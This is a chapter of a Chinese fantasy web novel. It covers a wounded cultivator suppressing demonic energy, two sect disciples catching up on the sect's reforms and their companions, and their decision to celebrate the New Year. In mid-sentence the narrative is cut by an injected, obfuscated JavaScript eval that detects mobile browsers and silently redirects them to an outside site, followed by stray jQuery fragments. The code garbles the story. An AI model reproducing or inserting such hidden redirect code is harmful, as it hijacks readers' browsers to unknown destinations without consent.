112.过年吗?

作品:《岁岁平安

    某片幽暗的深林中,一个发丝凌乱的女人单膝跪地,手指紧紧地扣进身旁的树干中,指尖被鲜血侵染。


    女人的手臂、胸口、甚至全身上下伤痕累累;而此刻浑身被暗紫色的气息包裹,眉头不自觉紧锁着;嘴角还留下尚未干涸的血渍,而下唇又被咬出鲜血;颈侧的青筋暴起,似乎正忍耐着什么;她缓缓地睁开眼睛,露出猩红到几乎滴血的眼瞳,此刻正压抑着疯狂。


    “啧。”


    她有几分不耐烦,举起手中的弯刀,猛地往自己手臂划去。刀刃深入肌肤,鲜血随即溅出,还露出粉色的血肉。


    闻到血腥味的时候,她原本闪烁的瞳色也变得安静下来,她随即盘腿坐下运转周天,将方才吸纳的魔气压制到体内。


    然而这个步骤并不轻松。


    她的额头冷汗直流,汹涌的魔气不断地冲击着她的□□,几乎从血管中爆出。她再次紧咬下唇克制喉头痛苦的闷哼,面不改色地加快远转的速度。


    不知过去了多久,才终于将这股魔气彻底汇聚进入体内。


    她缓缓地张开双眼,用力地擦去嘴角已经干涸的鲜血。垂眸瞥见手臂残留的痕迹,伸手调用灵气勉强缝合——由于魔气天生的侵蚀性,并不具备治疗的作用。


    她做完这一切轻轻地呼出胸口的闷气,顶着脑海里几乎被撕裂的感受,缓慢地扶着身边的树干起身。


    只是离开前,下意识地转头望向某个方向许久。


    ……同以往很多次一样。


    经常在忙碌的时候,就感觉时间过得最快。汤穗穗连轴转了好几天,终于抽出空来和唐澄澄转换一下脑子。


    而同样的,唐澄澄正是因为自己改进的许多机关装置,在当时寻找魔物的时候起了极大的作用,也重新引起同门甚至下一辈的重视。也因此,她的机关室门前经常堵的水泄不通。


    恰逢汤穗穗来找她,也解救了困在机关室中的唐澄澄。


    终于从人群中挤出来的后者,忍不住叉着腰长叹一口气。她转头一眼就看出好友眼睛里的疲惫,但脸上的笑容却有几分幸灾乐祸:“……这段时间很累吗?”


    “你说呢。”汤穗穗带着怨恨扫了对方一眼。


    “说不定你乐在其中呢?”唐澄澄耸着肩,佯装没听出对方的言外之意。


    “看她们的反应是挺乐在其中的。”汤穗穗倒是没掩饰,“只不过……”


    就在这时,她们迎面碰上几位少年后辈,她们主动上前跟两人问好——除了看向汤穗穗的眼神有几分飘忽不定,垂着脑袋不敢直视对方,如同看到什么洪水猛兽。


    汤穗穗也不为难对方,和善的笑着点头回应几人。得到回应之后,几位小少年拉着手跑远了些才缓下脚步。


    余光中,汤穗穗还看到几人回头交头接耳额模样,她好奇地将视线放过去,那几个少年瞬间变得鹌鹑一般缩着脑袋快步走远。


    “我有这么恐怖吗?”汤穗穗木着脸转了回来。


    可是她身旁的唐澄澄早笑得前仰后合,连眼角都沁出了泪水,根本无法正常解答她的疑惑。


    “……好了我知道了。”


    即便嘴上说自己在生气,其实她一点都没往心里去,只是仍习惯性地将这件事抓出来调侃。


    之前她收集同门的经历而经常与人交往,一来二去也就逐渐熟络了起来,也因此在宗门后辈中的关系还算不错。


    只不过她在宗门口碑的转折,来源于师傅秦无纪对宗门内做出的改革。


    而这项改革又需从乾坤宗以往的教习方式说起。


    以往宗门中对于后辈的教导,更多基于各家长老对门徒独立的安排;然而又因为长老们对心法以外的技法掌握的程度不同,所后辈们所掌握的基础水平也不一样。


    久而久之,在某些地方很容易出现,同一辈的门徒所掌握的水平大相径庭。


    从前这样的教导方式差距并不算明显,但现在有了唐澄澄和蓝鄞的阵法辅助加入之后,这道缺陷就变得十分明显。


    因此秦无纪在综合考虑下,并与各位长老商议后,决定更统一地进行后辈的教习。统一以更全面的教习在少年时便打下基础,不管今后选择哪条道路,都不会失去基本的平衡。


    除去基本的锻体训练,还增加了机关术和阵法相关的课程;甚至单独排出一天安排宗门内部进行系统的识字教学;对于心法相关的训练,新增了不同难度的拟真试炼作为考核。


    至于统一回收考核的结果,汤穗穗主动地结下了这份差事。因此她和一些同门组成了小组,就这样成为宗门中最“闻风丧胆”的人物。


    “算了不说这个了,成师姐现在还在药堂?”


    “师姐她啊,最近下山去了。”唐澄澄也笑够了伸手擦掉眼角的泪水,说起近来成洱的动向,“她说宗门内的医书种类还是太少了。”


    若说宗门中变化最大的,还得是成洱师姐。现在的她不仅仅只是负责小辈们的淬体,还和宗门中其她对医药有所研究的同门在药堂深耕,研制更好地清理伤口中的魔气。


    “那锻体训练……现在是安翎负责?——不过安翎是谁啊?”汤穗穗疑惑地开口,她不止一次远远地打过照面,只觉得眼熟却印象不深。


    “你不记得安翎了?”唐澄澄讶异地瞪大双眼,后者茫然地摇摇头。


    见到好友这副模样,她也没有卖关子,随即跟对方解释起来。


    安翎就是当时宗门大比新秀赛中,和汤穗穗对战落败后,主动找到成洱师姐学习武艺的那位。虽然对方的骨架比许多人小上一些,但她一点都没有因为这样而懈怠体术。反而不断增进自己的力量,尽可能的发挥出自己最大的能力。


    也正因此,刻苦的安翎已经习得成洱大部分的招式,如今也可以承担起教习武艺的这份任务。


    “原来是她啊!”汤穗穗即刻将对方和脑海中的身影关联起来,没想到一年多没见,对方已经变得如此强大。


    “除了安翎,这世间应当没有几个人,能真的受得住师姐的‘恐怖训练’。”每次提到这个人,唐澄澄心中只有对她的敬佩。


    她不是没有试过主动跟她们一起训练,但尝试过一次之后,她再也不想尝试第二次——她们所训练的强度是平时她训练的几十倍,还没等她熬过第一阶段,就已经累得叫苦连天。


    “那她是真的很厉害。”汤穗穗颇为认可地点头,也顺便说起她所知道的同门的近况。


    蓝鄞如今深耕阵法,配合宗主的阵法课,统一地教习更多同门阵法——就像宋璋当时所做的那样,尽自己可能将更多的只是散播出去。除此之外,她也和其余的几位师姐一同研究符箓上的阵法……


    当时和唐澄澄一道先离开的林止谣,如今也和蓝师姐一道学习阵法。


    而那时候留下的邱礼宁除了脸上的伤疤,其余已经恢复到受伤前的状况。而她并没有因为脸上的痕迹自怨自艾,反而被她用彩绘在上面画上她喜欢的牡丹、又或是一些山水画,总之掀起了宗门里一阵模仿的热潮。


    另一位章律师姐受伤的程度比对方轻很多,如今又投入到清理


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022901|169112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    魔物的行列,成为宗门中又一位强者。


    至于那时候失去右臂的墨陵,依旧在戒律堂中忙碌,甚至比汤穗穗还让人望而生畏。


    其实受到这样严重伤害的不仅仅是墨陵,也有一些长老因为魔物的缘故,失去了部分四肢。在秦无纪的安排下,这些功臣们去到更合适自己的位置上。


    说着说着,汤穗穗脑海闪出已经离世的姚成,还有如今不知所踪的姬忘尘,下意识收了口也停下脚步。


    “穗穗,又想起她们了吗?”唐澄澄也跟着停下来,她放轻了声音,伸手拉过对方的掌心,试图安慰着,“姚长老的事情已经过去……而忘尘师姐她,应当也过得很好……”


    但她也知道,扁平的话语并不能抚平对方心中的伤疤。


    “是啊,我该放下的。”汤穗穗知道对方的好意,强颜欢笑。


    这段时间来,她们也并非完全没有姬忘尘的痕迹。比起对立的关系,她们现在更像是默契的同行者。


    出去历练的队伍不止一次遇到过姬忘尘,而前者总是先她们一步,已经将存在的魔种吞噬,导致整个人面容十分可怖。


    正如白宸手札中设想的那样,姬忘尘正作为所谓的容器尽可能地纳入更多的魔种。——这也正是很多人担心的的地方。


    关于这一点,汤穗穗不止一次看到秦无纪独自出神的模样。


    ……“容器”总会有极限,而濒临极限的那一天,她们又该是敌是友?


    只不过汤穗穗每次都会逃避,逃避思考那个极端的结果。


    现在也是如此。


    “还早着呢。”她扯起嘴角,语气轻松地开口,“不是还有师傅她们在嘛。”


    唐澄澄下意识皱眉,移开了视线,没有接话。


    恰在此时,天上忽然飘起绒毛般的细雪,将两人的注意转移。


    “啊,下雪了。”汤穗穗仰头看向天空,下意识伸手托住雪花。雪花落在她的掌心,化作冰凉的水滑进她的躯体。


    “是啊,算算日子,应当也到山下过年的日子了?”唐澄澄也像她那般抬手,随意地开口。


    “要……过年吗?”


    “嗯,山下现在应当是腊月中旬了。”


    汤穗穗诧异地眨着眼,视线下意识打量着四周,同往时并无差别:“怎么山上一点气氛都没有?”


    虽然以前跟师傅在山上时也不太重视,但师傅也会模仿山下的习俗,而她自己也在年节前后溜到山脚的镇上,感受那股喜气洋洋的氛围。更别提去年她还跟师姐在城镇中,同邻家李婶子一道置办,直到现在还记忆犹新。


    ——像如今这般冷清还是第一次。


    “嗯?”这下唐澄澄变得很疑惑,“过年……为什么会有氛围?我们又不是山下的百姓。”


    “不是山下的百姓,就不能过年了?”


    “可……”


    “——还是说,乾坤宗的前辈说过不允许?”


    “……这倒没有。”唐澄澄理解汤穗穗的意思,但她还是觉得“过年”这件事应当是和她们全无关系才对。


    “既然没有规定,那便是能过。”汤穗穗笃定地点头,伸手一拍唐澄澄的肩膀,“你不想过年吗?”


    “……我们,”唐澄澄顿了顿,望着好友澄澈的眼睛,内心十分犹豫,手指忍不住缠着衣摆打转,“我们不应该过吧……”


    “不。”汤穗穗很清楚对方的想法,可越是这样,她越觉得她们应当过这个“年”,“我们就应该过。”


    没有人应当被排除在外。